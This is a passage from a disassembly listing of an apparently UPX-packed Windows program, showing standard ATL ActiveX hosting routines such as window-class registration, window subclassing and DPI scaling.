mov eax, [ebp+0Ch]
loc_404208: ; CODE XREF: sub_404083+F3j
or dword ptr [ebp-4], 0FFFFFFFFh
cmp eax, esi
jz short loc_404216
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_404216: ; CODE XREF: sub_404083+ACj
; sub_404083+18Bj
mov eax, [ebp-20h]
test dword ptr [eax], 20000h
jnz short loc_404260
mov eax, [ebx]
mov ecx, ebx
call dword ptr [eax+10h]
mov [ebp+0Ch], esi
cmp eax, esi
jz short loc_40423D
mov ecx, [eax]
lea edx, [ebp+0Ch]
push edx
push offset dword_423BEC
push eax
call dword ptr [ecx]
loc_40423D: ; CODE XREF: sub_404083+1AAj
mov dword ptr [ebp-4], 3
mov eax, [edi]
push dword ptr [ebp+0Ch]
mov ecx, [eax]
push eax
call dword ptr [ecx+0Ch]
or dword ptr [ebp-4], 0FFFFFFFFh
mov eax, [ebp+0Ch]
cmp eax, esi
jz short loc_404260
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_404260: ; CODE XREF: sub_404083+19Cj
; sub_404083+1D5j
mov eax, [edi]
mov [ebx+90h], esi
mov ecx, [eax]
lea esi, [ebx+70h]
push esi
push offset dword_424354
push eax
call dword ptr [ecx]
mov [ebp-10h], eax
test eax, eax
jge short loc_40429D
mov eax, [edi]
mov ecx, [eax]
push esi
push offset dword_424364
push eax
call dword ptr [ecx]
mov [ebp-10h], eax
test eax, eax
jl short loc_4042A9
mov dword ptr [ebx+90h], 3
jmp short loc_4042C7
; ---------------------------------------------------------------------------
loc_40429D: ; CODE XREF: sub_404083+1F8j
mov dword ptr [ebx+90h], 7
jmp short loc_4042C7
; ---------------------------------------------------------------------------
loc_4042A9: ; CODE XREF: sub_404083+20Cj
mov eax, [edi]
mov ecx, [eax]
push esi
push offset dword_424374
push eax
call dword ptr [ecx]
mov [ebp-10h], eax
test eax, eax
jl short loc_4042C7
mov dword ptr [ebx+90h], 1
loc_4042C7: ; CODE XREF: sub_404083+218j
; sub_404083+224j ...
mov eax, [ebx]
mov ecx, ebx
call dword ptr [eax+10h]
and dword ptr [ebp-14h], 0
test eax, eax
jz short loc_4042E4
mov ecx, [eax]
lea edx, [ebp-14h]
push edx
push offset dword_423B3C
push eax
call dword ptr [ecx]
loc_4042E4: ; CODE XREF: sub_404083+251j
lea edx, [ebx+9Ch]
mov dword ptr [ebp-4], 4
mov eax, [edi]
mov ecx, [eax]
push edx
push dword ptr [ebp-14h]
push eax
call dword ptr [ecx+4Ch]
mov esi, [esi]
test esi, esi
jz short loc_404310
push dword ptr [ebp-14h]
mov eax, [esi]
push 0
push 1
push esi
call dword ptr [eax+1Ch]
loc_404310: ; CODE XREF: sub_404083+27Ej
mov edi, [edi]
mov eax, [edi]
push 0
push offset aAxwin ; "AXWIN"
push edi
call dword ptr [eax+14h]
test dword ptr [ebx+0A0h], 400h
jnz loc_404415
lea esi, [ebx+0B4h]
push esi
push dword ptr [ebx+4]
call dword_41D34C ; GetClientRect
mov eax, [ebx+0BCh]
sub eax, [esi]
lea edi, [ebx+0ACh]
mov [edi], eax
mov eax, [ebx+0C0h]
sub eax, [ebx+0B8h]
lea esi, [ebx+0A4h]
mov [ebx+0B0h], eax
call sub_404933
mov eax, [ebx+64h]
mov ecx, [eax]
lea edi, [ebx+0A4h]
push edi
push 1
push eax
call dword ptr [ecx+44h]
mov eax, [ebx+64h]
mov ecx, [eax]
push edi
push 1
push eax
call dword ptr [ecx+48h]
lea esi, [ebx+0ACh]
call sub_4048CA
mov eax, [ebx+0ACh]
lea esi, [ebx+0B4h]
add eax, [esi]
mov ecx, ebx
mov [ebx+0BCh], eax
mov eax, [ebx+0B0h]
add eax, [ebx+0B8h]
mov [ebx+0C0h], eax
mov eax, [ebx]
call dword ptr [eax+10h]
xor edi, edi
mov [ebp+10h], edi
cmp eax, edi
jz short loc_4043D9
mov ecx, [eax]
lea edx, [ebp+10h]
push edx
push offset dword_423BEC
push eax
call dword ptr [ecx]
loc_4043D9: ; CODE XREF: sub_404083+346j
push esi
mov byte ptr [ebp-4], 5
push dword ptr [ebx+4]
mov eax, [ebx+64h]
mov ecx, [eax]
push edi
push dword ptr [ebp+10h]
push edi
push 0FFFFFFFBh
push eax
call dword ptr [ecx+2Ch]
push 507h
push edi
push edi
push dword ptr [ebx+4]
mov [ebp-10h], eax
call dword_41D2B0 ; RedrawWindow
mov byte ptr [ebp-4], 4
mov eax, [ebp+10h]
cmp eax, edi
jz short loc_404415
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_404415: ; CODE XREF: sub_404083+2A6j
; sub_404083+38Aj
or dword ptr [ebp-4], 0FFFFFFFFh
mov eax, [ebp-14h]
test eax, eax
jz short loc_404426
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_404426: ; CODE XREF: sub_404083+39Bj
mov esi, [ebp+8]
loc_404429: ; CODE XREF: sub_404083+47j
and dword ptr [ebp-1Ch], 0
lea ecx, [ebp-1Ch]
push ecx
push offset dword_423B8C
mov dword ptr [ebp-4], 6
mov eax, [esi]
push esi
call dword ptr [eax]
mov eax, [ebp-1Ch]
test eax, eax
jz short loc_40445E
mov edi, [eax]
mov esi, eax
mov eax, [ebx]
mov ecx, ebx
add edi, 0Ch
call dword ptr [eax+10h]
push eax
push esi
call dword ptr [edi]
mov eax, [ebp-1Ch]
loc_40445E: ; CODE XREF: sub_404083+3C4j
or dword ptr [ebp-4], 0FFFFFFFFh
test eax, eax
loc_404464: ; CODE XREF: sub_404083+17Dj
jz short loc_40446C
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_40446C: ; CODE XREF: sub_404083:loc_404464j
mov eax, [ebp-10h]
loc_40446F: ; CODE XREF: sub_404083+17j
call sub_40C50C
retn 0Ch
sub_404083 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_404477 proc near ; CODE XREF: UPX0:00402A9Fp
; UPX0:00402C14p
mov eax, [esi]
push edi
push esi
mov ecx, esi
call dword ptr [eax+8]
lea edi, [esi+8]
call sub_4018DB
pop edi
test eax, eax
jnz short loc_404491
loc_40448D: ; CODE XREF: sub_404477+28j
xor eax, eax
jmp short loc_4044AA
; ---------------------------------------------------------------------------
loc_404491: ; CODE XREF: sub_404477+14j
push dword ptr [esi+14h]
push 0FFFFFFFCh
push ebx
call dword_41D2B4 ; SetWindowLongW
test eax, eax
jz short loc_40448D
mov [esi+20h], eax
xor eax, eax
mov [esi+4], ebx
inc eax
loc_4044AA: ; CODE XREF: sub_404477+18j
lea ecx, [esi+0C8h]
shl eax, 4
xor eax, [ecx]
and eax, 10h
xor [ecx], eax
retn
sub_404477 endp
; =============== S U B R O U T I N E =======================================
sub_4044BB proc near ; CODE XREF: UPX0:00402A83p
; UPX0:00402ADFp ...
test byte ptr [esi+0C8h], 10h
jz short loc_4044FE
push 0FFFFFFFCh
push dword ptr [esi+4]
call dword_41D2CC ; GetWindowLongW
mov eax, [esi+20h]
mov ecx, [esi+4]
push eax
push 0FFFFFFFCh
push ecx
call dword_41D2B4 ; SetWindowLongW
test eax, eax
jz short locret_404507
mov eax, dword_41D278
mov [esi+20h], eax
mov eax, [esi+4]
and dword ptr [esi+4], 0
test eax, eax
jz short locret_404507
and dword ptr [esi+0C8h], 0FFFFFFEFh
retn
; ---------------------------------------------------------------------------
loc_4044FE: ; CODE XREF: sub_4044BB+7j
push dword ptr [esi+4]
call dword_41D304 ; DestroyWindow
locret_404507: ; CODE XREF: sub_4044BB+26j
; sub_4044BB+39j
retn
sub_4044BB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404508 proc near ; CODE XREF: sub_402032+3CCp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
mov ebx, eax
cmp ebx, 4Eh
ja short loc_404575
jz short loc_404571
cmp ebx, 2Bh
jz short loc_40455A
cmp ebx, 2Ch
jz short loc_40454C
cmp ebx, 2Dh
jz short loc_404544
jbe loc_4045E7
cmp ebx, 2Fh
jbe loc_4045E1
cmp ebx, 39h
jnz loc_4045E7
mov eax, [esi+8]
jmp loc_4045E3
; ---------------------------------------------------------------------------
loc_404544: ; CODE XREF: sub_404508+1Aj
mov eax, [esi+0Ch]
jmp loc_4045E3
; ---------------------------------------------------------------------------
loc_40454C: ; CODE XREF: sub_404508+15j
cmp dword ptr [esi], 1
jz loc_4045E7
push dword ptr [esi+4]
jmp short loc_4045D2
; ---------------------------------------------------------------------------
loc_40455A: ; CODE XREF: sub_404508+10j
cmp dword ptr [esi], 1
jnz short loc_40456C
push dword ptr [esi+14h]
call dword_41D294 ; IsWindow
test eax, eax
jz short loc_4045E7
loc_40456C: ; CODE XREF: sub_404508+55j
mov eax, [esi+14h]
jmp short loc_4045E3
; ---------------------------------------------------------------------------
loc_404571: ; CODE XREF: sub_404508+Bj
mov eax, [esi]
jmp short loc_4045E3
; ---------------------------------------------------------------------------
loc_404575: ; CODE XREF: sub_404508+9j
cmp ebx, 111h
jz short loc_4045DD
cmp ebx, 113h
jbe short loc_4045E7
cmp ebx, 115h
jbe short loc_4045E1
cmp ebx, 131h
jbe short loc_4045E7
cmp ebx, 138h
jbe short loc_4045E1
cmp ebx, 210h
jnz short loc_4045E7
mov eax, [edi+18h]
test eax, eax
jz short loc_4045C1
push dword ptr [eax+0Ch]
push dword ptr [eax+8]
push dword ptr [eax+4]
push dword ptr [edi+4]
push dword ptr [edi+20h]
call dword_41D27C ; CallWindowProcW
loc_4045C1: ; CODE XREF: sub_404508+A2j
movzx eax, word ptr [ebp+arg_0]
dec eax
cmp eax, 1
jbe short loc_4045E1
mov eax, [ebp+arg_0]
shr eax, 10h
push eax
loc_4045D2: ; CODE XREF: sub_404508+50j
push dword ptr [edi+4]
call dword_41D2B8 ; GetDlgItem
jmp short loc_4045E3
; ---------------------------------------------------------------------------
loc_4045DD: ; CODE XREF: sub_404508+73j
test esi, esi
jz short loc_4045E7
loc_4045E1: ; CODE XREF: sub_404508+25j
; sub_404508+83j ...
mov eax, esi
loc_4045E3: ; CODE XREF: sub_404508+37j
; sub_404508+3Fj ...
test eax, eax
jnz short loc_4045F2
loc_4045E7: ; CODE XREF: sub_404508+1Cj
; sub_404508+2Ej ...
mov eax, [ebp+arg_4]
and dword ptr [eax], 0
xor eax, eax
inc eax
jmp short loc_404639
; ---------------------------------------------------------------------------
loc_4045F2: ; CODE XREF: sub_404508+DDj
mov ecx, [edi+98h]
test cl, 8
jz short loc_404627
and [ebp+arg_4], 0
test cl, 1
jz short loc_404622
mov eax, [edi+74h]
test eax, eax
jz short loc_404622
mov ecx, [eax]
lea edx, [ebp+arg_4]
push edx
push esi
push [ebp+arg_0]
add ebx, 2000h
push ebx
push eax
call dword ptr [ecx+24h]
loc_404622: ; CODE XREF: sub_404508+FCj
; sub_404508+103j
mov eax, [ebp+arg_4]
jmp short loc_404639
; ---------------------------------------------------------------------------
loc_404627: ; CODE XREF: sub_404508+F3j
push esi
push [ebp+arg_0]
add ebx, 2000h
push ebx
push eax
call dword_41D288 ; SendMessageW
loc_404639: ; CODE XREF: sub_404508+E8j
; sub_404508+11Dj
pop ebx
pop ebp
retn 8
sub_404508 endp
; =============== S U B R O U T I N E =======================================
sub_40463E proc near ; DATA XREF: UPX0:00424158o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov edx, [esp+arg_C]
test edx, edx
jnz short loc_40464D
mov eax, 80004003h
jmp short locret_404672
; ---------------------------------------------------------------------------
loc_40464D: ; CODE XREF: sub_40463E+6j
and dword ptr [edx], 0
mov ecx, [esp+arg_0]
mov ecx, [ecx+9Ch]
mov eax, 80004002h
test ecx, ecx
jz short locret_404672
mov eax, [ecx]
push edx
push [esp+4+arg_8]
push [esp+8+arg_4]
push ecx
call dword ptr [eax+0Ch]
locret_404672: ; CODE XREF: sub_40463E+Dj
; sub_40463E+23j
retn 10h
sub_40463E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404675 proc near ; CODE XREF: sub_40534A+2Dp
; sub_418266+1B5p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
call sub_404725
lea eax, [ebp+var_4]
xor edi, edi
push eax
mov [ebp+var_4], edi
mov [ebp+var_C], edi
call sub_4050AA
mov esi, eax
cmp esi, edi
jl short loc_4046EF
mov eax, [ebp+var_4]
lea edx, [ebp+var_8]
push edx
push offset dword_423C0C
mov [ebp+var_8], edi
mov ecx, [eax]
push eax
call dword ptr [ecx]
push [ebp+arg_0]
lea esi, [ebp+arg_0]
call sub_4011E3
push [ebp+arg_C]
mov eax, [ebp+var_8]
mov ecx, [eax]
push edi
push offset dword_41D440
lea edx, [ebp+var_C]
push edx
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
call dword ptr [ecx+28h]
push [ebp+arg_0]
mov esi, eax
call dword_41D25C
mov eax, [ebp+var_8]
cmp eax, edi
jz short loc_4046EF
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_4046EF: ; CODE XREF: sub_404675+22j
; sub_404675+72j
cmp ebx, edi
jz short loc_404703
cmp esi, edi
jl short loc_404701
mov eax, [ebp+var_4]
mov [ebx], eax
mov [ebp+var_4], edi
jmp short loc_404703
; ---------------------------------------------------------------------------
loc_404701: ; CODE XREF: sub_404675+80j
mov [ebx], edi
loc_404703: ; CODE XREF: sub_404675+7Cj
; sub_404675+8Aj
mov eax, [ebp+var_C]
cmp eax, edi
jz short loc_404710
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_404710: ; CODE XREF: sub_404675+93j
mov eax, [ebp+var_4]
cmp eax, edi
jz short loc_40471D
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_40471D: ; CODE XREF: sub_404675+A0j
pop edi
mov eax, esi
pop esi
leave
retn 10h
sub_404675 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404725 proc near ; CODE XREF: sub_404675+8p
; sub_418A96+47p
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
and esp, 0FFFFFFF8h
sub esp, 3Ch
push ebx
push esi
mov eax, offset dword_42E38C
push edi
push eax
mov [esp+4Ch+var_38], eax
call dword_41D1CC ; RtlEnterCriticalSection
mov esi, dword_41D320
push offset aWm_atlgethost ; "WM_ATLGETHOST"
mov byte ptr [esp+4Ch+var_34], 1
call esi ; dword_41D320
push offset aWm_atlgetcontr ; "WM_ATLGETCONTROL"
mov dword_42EEA8, eax
call esi ; dword_41D320
push 30h
pop edi
mov dword_42EEAC, eax
lea eax, [esp+48h+var_30]
push eax
mov esi, offset aAtlaxwin80 ; "AtlAxWin80"
push esi
push dword_42E350
mov [esp+54h+var_30], edi
call dword_41D35C ; GetClassInfoExW
xor ebx, ebx
cmp eax, ebx
jnz short loc_4047FF
mov eax, dword_42E350
push 7F00h
push ebx
mov [esp+50h+var_30], edi
mov [esp+50h+var_2C], 8
mov [esp+50h+var_28], offset sub_4184BE
mov [esp+50h+var_24], ebx
mov [esp+50h+var_20], ebx
mov [esp+50h+var_1C], eax
mov [esp+50h+var_18], ebx
call dword_41D344 ; LoadCursorW
mov [esp+48h+var_14], eax
lea eax, [esp+48h+var_30]
push eax
mov [esp+4Ch+var_10], 6
mov [esp+4Ch+var_C], ebx
mov [esp+4Ch+var_8], esi
mov [esp+4Ch+var_4], ebx
call dword_41D2D4 ; RegisterClassExW
movzx eax, ax
mov [esp+48h+var_3C], eax
cmp ax, bx
jz loc_4048B2
lea eax, [esp+48h+var_3C]
push eax
mov esi, offset dword_42E3A8
call sub_404C2B
loc_4047FF: ; CODE XREF: sub_404725+61j
push edi
lea eax, [esp+4Ch+var_30]
push ebx
push eax
call sub_40BD40
add esp, 0Ch
lea eax, [esp+48h+var_30]
push eax
mov esi, offset aAtlaxwinlic80 ; "AtlAxWinLic80"
push esi
push dword_42E350
mov [esp+54h+var_30], edi
call dword_41D35C ; GetClassInfoExW
mov [esp+48h+var_3C], eax
cmp eax, ebx
jnz loc_4048B6
mov eax, dword_42E350
push 7F00h
push ebx
mov [esp+50h+var_30], edi
mov [esp+50h+var_2C], 8
mov [esp+50h+var_28], offset sub_418266
mov [esp+50h+var_24], ebx
mov [esp+50h+var_20], ebx
mov [esp+50h+var_1C], eax
mov [esp+50h+var_18], ebx
call dword_41D344 ; LoadCursorW
mov [esp+48h+var_14], eax
lea eax, [esp+48h+var_30]
push eax
mov [esp+4Ch+var_10], 6
mov [esp+4Ch+var_C], ebx
mov [esp+4Ch+var_8], esi
mov [esp+4Ch+var_4], ebx
call dword_41D2D4 ; RegisterClassExW
movzx eax, ax
mov [esp+48h+var_3C], eax
cmp ax, bx
jz short loc_4048B2
lea eax, [esp+48h+var_3C]
push eax
mov esi, offset dword_42E3A8
call sub_404C2B
mov [esp+48h+var_3C], 1
jmp short loc_4048B6
; ---------------------------------------------------------------------------
loc_4048B2: ; CODE XREF: sub_404725+C5j
; sub_404725+172j
mov [esp+48h+var_3C], ebx
loc_4048B6: ; CODE XREF: sub_404725+10Aj
; sub_404725+18Bj
lea ecx, [esp+48h+var_38]
call sub_4066D7
mov eax, [esp+48h+var_3C]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_404725 endp
; =============== S U B R O U T I N E =======================================
sub_4048CA proc near ; CODE XREF: sub_404083+30Dp
var_8 = dword ptr -8
var_4 = dword ptr -4
push ecx
push ecx
test edi, edi
jnz short loc_4048DA
loc_4048D0: ; CODE XREF: sub_4048CA+12j
push 80004003h
call sub_4010D8
; ---------------------------------------------------------------------------
loc_4048DA: ; CODE XREF: sub_4048CA+4j
test esi, esi
jz short loc_4048D0
push ebx
push ebp
push 0
call dword_41D2DC ; GetDC
mov ebp, dword_41D034
mov ebx, eax
push 58h
push ebx
call ebp ; dword_41D034
push 5Ah
push ebx
mov [esp+18h+var_8], eax
call ebp ; dword_41D034
push ebx
push 0
mov [esp+18h+var_4], eax
call dword_41D2BC ; ReleaseDC
mov ebx, dword_41D200
mov ebp, 9ECh
push ebp
push dword ptr [edi]
push [esp+18h+var_8]
call ebx ; dword_41D200
push ebp
mov [esi], eax
push dword ptr [edi+4]
push [esp+18h+var_4]
call ebx ; dword_41D200
pop ebp
mov [esi+4], eax
pop ebx
pop ecx
pop ecx
retn
sub_4048CA endp
; =============== S U B R O U T I N E =======================================
sub_404933 proc near ; CODE XREF: sub_402768+3Fp
; sub_404083+2E4p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ecx
push ecx
test edi, edi
jnz short loc_404943
loc_404939: ; CODE XREF: sub_404933+12j
push 80004003h
call sub_4010D8
; ---------------------------------------------------------------------------
loc_404943: ; CODE XREF: sub_404933+4j
test esi, esi
jz short loc_404939
push ebx
push ebp
push 0
call dword_41D2DC ; GetDC
mov ebp, dword_41D034
mov ebx, eax
push 58h
push ebx
call ebp ; dword_41D034
push 5Ah
push ebx
mov [esp+18h+var_8], eax
call ebp ; dword_41D034
push ebx
push 0
mov [esp+18h+var_4], eax
call dword_41D2BC ; ReleaseDC
push [esp+10h+var_8]
mov ebx, dword_41D200
push dword ptr [edi]
mov ebp, 9ECh
push ebp
call ebx ; dword_41D200
push [esp+10h+var_4]
mov [esi], eax
push dword ptr [edi+4]
push ebp
call ebx ; dword_41D200
pop ebp
mov [esi+4], eax
pop ebx
pop ecx
pop ecx
retn
sub_404933 endp
; =============== S U B R O U T I N E =======================================
sub_40499C proc near ; DATA XREF: UPX0:00426E84o
mov dword ptr [ecx], offset off_41D4DC
jmp sub_40AD84
sub_40499C endp
; ---------------------------------------------------------------------------
loc_4049A7: ; DATA XREF: UPX0:off_41D4DCo
push esi
mov esi, ecx
mov dword ptr [esi], offset off_41D4DC
call sub_40AD84
test byte ptr [esp+8], 1
jz short loc_4049C3
push esi
call sub_40AC11
pop ecx
loc_4049C3: ; CODE XREF: UPX0:004049BAj
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4049C9 proc near ; CODE XREF: sub_405446+79p
; sub_4054FB+25p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40B376
mov eax, [ebp+arg_0]
add esp, 10h
pop ebp
retn
sub_4049C9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4049E5 proc near ; CODE XREF: sub_405A07+50p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40AC49
mov eax, [ebp+arg_0]
add esp, 10h
pop ebp
retn
sub_4049E5 endp
; =============== S U B R O U T I N E =======================================
sub_404A01 proc near ; CODE XREF: sub_404A7D+7p
; sub_404AC2+7p ...
push 4
mov eax, offset loc_41C189
call sub_40C46D
mov esi, ecx
mov [ebp-10h], esi
call sub_40ACA6
and dword ptr [ebp-4], 0
push dword ptr [ebp+8]
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_41D4E8
call sub_40515A
mov eax, esi
call sub_40C50C
retn 4
sub_404A01 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_404A36 proc near ; CODE XREF: UPX0:00404A64p
; sub_404A95+6j ...
push esi
mov esi, ecx
push 0
push 1
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_41D4E8
call sub_4054FB
mov ecx, esi
pop esi
jmp sub_40AD84
sub_404A36 endp
; =============== S U B R O U T I N E =======================================
sub_404A53 proc near ; DATA XREF: UPX0:0041D4ECo
; UPX0:0041D4F8o ...
cmp dword ptr [ecx+24h], 10h
jb short loc_404A5D
mov eax, [ecx+10h]
retn
; ---------------------------------------------------------------------------
loc_404A5D: ; CODE XREF: sub_404A53+4j
lea eax, [ecx+10h]
retn
sub_404A53 endp
; ---------------------------------------------------------------------------
loc_404A61: ; DATA XREF: UPX0:off_41D4E8o
push esi
mov esi, ecx
call sub_404A36
test byte ptr [esp+8], 1
jz short loc_404A77
push esi
call sub_40AC11
pop ecx
loc_404A77: ; CODE XREF: UPX0:00404A6Ej
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_404A7D proc near ; CODE XREF: sub_40AB96+24p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_404A01
mov dword ptr [esi], offset off_41D4F4
mov eax, esi
pop esi
retn 4
sub_404A7D endp
; =============== S U B R O U T I N E =======================================
sub_404A95 proc near ; DATA XREF: UPX0:00426E4Co
mov dword ptr [ecx], offset off_41D4F4
jmp sub_404A36
sub_404A95 endp
; ---------------------------------------------------------------------------
loc_404AA0: ; DATA XREF: UPX0:off_41D4F4o
push esi
mov esi, ecx
mov dword ptr [esi], offset off_41D4F4
call sub_404A36
test byte ptr [esp+8], 1
jz short loc_404ABC
push esi
call sub_40AC11
pop ecx
loc_404ABC: ; CODE XREF: UPX0:00404AB3j
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_404AC2 proc near ; CODE XREF: sub_40ABCE+24p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_404A01
mov dword ptr [esi], offset off_41D500
mov eax, esi
pop esi
retn 4
sub_404AC2 endp
; =============== S U B R O U T I N E =======================================
sub_404ADA proc near ; DATA XREF: UPX0:00426E10o
mov dword ptr [ecx], offset off_41D500
jmp sub_404A36
sub_404ADA endp
; ---------------------------------------------------------------------------
loc_404AE5: ; DATA XREF: UPX0:off_41D500o
push esi
mov esi, ecx
mov dword ptr [esi], offset off_41D500
call sub_404A36
test byte ptr [esp+8], 1
jz short loc_404B01
push esi
call sub_40AC11
pop ecx
loc_404B01: ; CODE XREF: UPX0:00404AF8j
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
push esi
push dword ptr [esp+8]
mov esi, ecx
call sub_404B1F
mov dword ptr [esi], offset off_41D500
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_404B1F proc near ; CODE XREF: UPX0:00404B0Ep
; UPX0:00405EDCp
push 4
mov eax, offset loc_41C189
call sub_40C46D
mov esi, ecx
mov [ebp-10h], esi
mov edi, [ebp+8]
push edi
call sub_40AD27
and dword ptr [ebp-4], 0
add edi, 0Ch
push edi
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_41D4E8
call sub_40515A
mov eax, esi
call sub_40C50C
retn 4
sub_404B1F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_404B59 proc near ; CODE XREF: sub_4091D6+3p
; UPX0:004091F3p ...
push 4
mov eax, offset loc_41C527
call sub_40C46D
mov esi, ecx
mov [ebp-10h], esi
mov dword ptr [esi], offset off_423FBC
mov dword ptr [esi+24h], (offset loc_423FD7+1)
lea eax, [esi+3Ch]
push eax
mov dword ptr [ebp-4], 1
call sub_4052AA
push dword ptr [esi+2Ch]
call dword_41D25C
or dword ptr [ebp-4], 0FFFFFFFFh
mov esi, [esi+14h]
test esi, esi
jz short loc_404BA1
push esi
call sub_40A859
loc_404BA1: ; CODE XREF: sub_404B59+40j
call sub_40C50C
retn
sub_404B59 endp
; ---------------------------------------------------------------------------
mov eax, 80004001h
retn 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404BAF proc near ; DATA XREF: UPX0:off_423FBCo
; UPX0:off_424BF8o ...
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
cmp [ebp+arg_14], 0
jnz short loc_404BFD
cmp [ebp+arg_4], 1
jnz short loc_404BCD
call sub_41889D
loc_404BC3: ; CODE XREF: sub_404BAF+34j
mov ecx, [ebp+arg_10]
mov [ecx], eax
loc_404BC8: ; CODE XREF: sub_404BAF+4Cj
xor eax, eax
inc eax
jmp short loc_404BFF
; ---------------------------------------------------------------------------
loc_404BCD: ; CODE XREF: sub_404BAF+Dj
mov eax, 100h
cmp [ebp+arg_4], eax
jnz short loc_404BE5
push [ebp+arg_C]
push [ebp+arg_8]
push ecx
call sub_4178EC
jmp short loc_404BC3
; ---------------------------------------------------------------------------
loc_404BE5: ; CODE XREF: sub_404BAF+26j
cmp [ebp+arg_4], 214h
jnz short loc_404BFD
mov eax, ecx
call sub_417C15
mov eax, [ebp+arg_10]
and dword ptr [eax], 0
jmp short loc_404BC8
; ---------------------------------------------------------------------------
loc_404BFD: ; CODE XREF: sub_404BAF+7j
; sub_404BAF+3Dj
xor eax, eax
loc_404BFF: ; CODE XREF: sub_404BAF+1Cj
pop ebp
retn 18h
sub_404BAF endp
; ---------------------------------------------------------------------------
loc_404C03: ; CODE XREF: UPX0:0041C0E2j
; UPX0:0041C517j
mov eax, [eax+14h]
test eax, eax
jz short locret_404C10
push eax
call sub_40A859
locret_404C10: ; CODE XREF: UPX0:00404C08j
retn
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_404C11 proc near ; CODE XREF: UPX0:0041C101p
jmp sub_4052AA
sub_404C11 endp
; ---------------------------------------------------------------------------
loc_404C16: ; CODE XREF: UPX0:0041C004j
; UPX0:0041C049j ...
jmp short loc_404C25
; ---------------------------------------------------------------------------
loc_404C18: ; CODE XREF: UPX0:00404C28j
mov eax, [esi]
mov ecx, [eax]
push eax
mov [esi], ecx
call sub_40ADC8
pop ecx
loc_404C25: ; CODE XREF: UPX0:loc_404C16j
cmp dword ptr [esi], 0
jnz short loc_404C18
retn
; =============== S U B R O U T I N E =======================================
sub_404C2B proc near ; CODE XREF: sub_404725+D5p
; sub_404725+17Ep ...
arg_0 = dword ptr 4
mov eax, [esi+4]
mov ecx, [esi+8]
push edi
cmp eax, ecx
jnz short loc_404C64
test ecx, ecx
jnz short loc_404C3F
xor edi, edi
inc edi
jmp short loc_404C4E
; ---------------------------------------------------------------------------
loc_404C3F: ; CODE XREF: sub_404C2B+Dj
lea edi, [eax+eax]
test edi, edi
jl short loc_404C84
cmp edi, 3FFFFFFFh
ja short loc_404C84
loc_404C4E: ; CODE XREF: sub_404C2B+12j
push 2
push edi
push dword ptr [esi]
call sub_40B28B
add esp, 0Ch
test eax, eax
jz short loc_404C84
mov [esi+8], edi
mov [esi], eax
loc_404C64: ; CODE XREF: sub_404C2B+9j
mov eax, [esi+4]
mov ecx, [esi]
lea eax, [ecx+eax*2]
test eax, eax
jz short loc_404C7A
mov ecx, [esp+4+arg_0]
mov cx, [ecx]
mov [eax], cx
loc_404C7A: ; CODE XREF: sub_404C2B+43j
inc dword ptr [esi+4]
xor eax, eax
inc eax
loc_404C80: ; CODE XREF: sub_404C2B+5Bj
pop edi
retn 4
; ---------------------------------------------------------------------------
loc_404C84: ; CODE XREF: sub_404C2B+19j
; sub_404C2B+21j ...
xor eax, eax
jmp short loc_404C80
sub_404C2B endp
